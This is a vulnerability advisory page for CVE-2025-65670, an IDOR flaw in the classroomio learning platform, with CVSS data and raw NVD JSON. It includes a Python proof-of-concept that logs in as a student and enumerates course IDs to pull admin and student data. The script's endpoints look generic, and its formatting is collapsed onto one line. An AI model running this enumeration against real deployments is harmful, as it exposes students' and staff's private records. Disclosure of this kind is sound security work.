Security Vulnerability Report
中文
CVE-2025-65670 CVSS 4.3 MEDIUM

CVE-2025-65670

Published: 2025-11-26 20:15:50
Last Modified: 2025-12-03 20:51:27

Description

An Insecure Direct Object Reference (IDOR) in classroomio 0.1.13 allows students to access sensitive admin/teacher endpoints by manipulating course IDs in URLs, resulting in unauthorized disclosure of sensitive course, admin, and student data. The leak occurs momentarily before the system reverts to a normal state restricting access.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:classroomio:classroomio:0.1.13:*:*:*:*:*:*:* - VULNERABLE
classroomio < 0.1.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2025-65670 PoC - IDOR in classroomio 0.1.13 # Description: Students can access admin/teacher endpoints by manipulating course IDs TARGET_URL = "http://target.com" # Replace with actual target LOGIN_URL = f"{TARGET_URL}/api/auth/login" ADMIN_ENDPOINT = f"{TARGET_URL}/api/admin/courses" TEACHER_ENDPOINT = f"{TARGET_URL}/api/teacher/students" def login_student(username, password): """Login as student with low privileges""" session = requests.Session() response = session.post(LOGIN_URL, json={ "email": username, "password": password }) return session if response.status_code == 200 else None def exploit_idor(session, course_id): """Exploit IDOR by manipulating course ID to access admin endpoints""" # Method 1: Access admin course data admin_url = f"{ADMIN_ENDPOINT}/{course_id}" response = session.get(admin_url) if response.status_code == 200: print(f"[SUCCESS] Accessed admin data for course {course_id}") print(f"Data: {response.text}") # Method 2: Access teacher student list teacher_url = f"{TEACHER_ENDPOINT}?course_id={course_id}" response = session.get(teacher_url) if response.status_code == 200: print(f"[SUCCESS] Accessed student list for course {course_id}") print(f"Data: {response.text}") return response.text def main(): # Step 1: Login as student session = login_student("[email protected]", "password123") if not session: print("[ERROR] Login failed") return print("[INFO] Logged in as student") # Step 2: Enumerate course IDs (e.g., 1-100) for course_id in range(1, 101): exploit_idor(session, course_id) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65670", "sourceIdentifier": "[email protected]", "published": "2025-11-26T20:15:49.947", "lastModified": "2025-12-03T20:51:27.363", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Insecure Direct Object Reference (IDOR) in classroomio 0.1.13 allows students to access sensitive admin/teacher endpoints by manipulating course IDs in URLs, resulting in unauthorized disclosure of sensitive course, admin, and student data. The leak occurs momentarily before the system reverts to a normal state restricting access."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:classroomio:classroomio:0.1.13:*:*:*:*:*:*:*", "matchCriteriaId": "7C6D9D0E-58A9-4468-90E2-3717E4632BF0"}]}]}], "references": [{"url": "http://classroomio.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/Rivek619/CVE-2025-65670", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/classroomio/classroomio", "source": "[email protected]", "tags": ["Product"]}]}}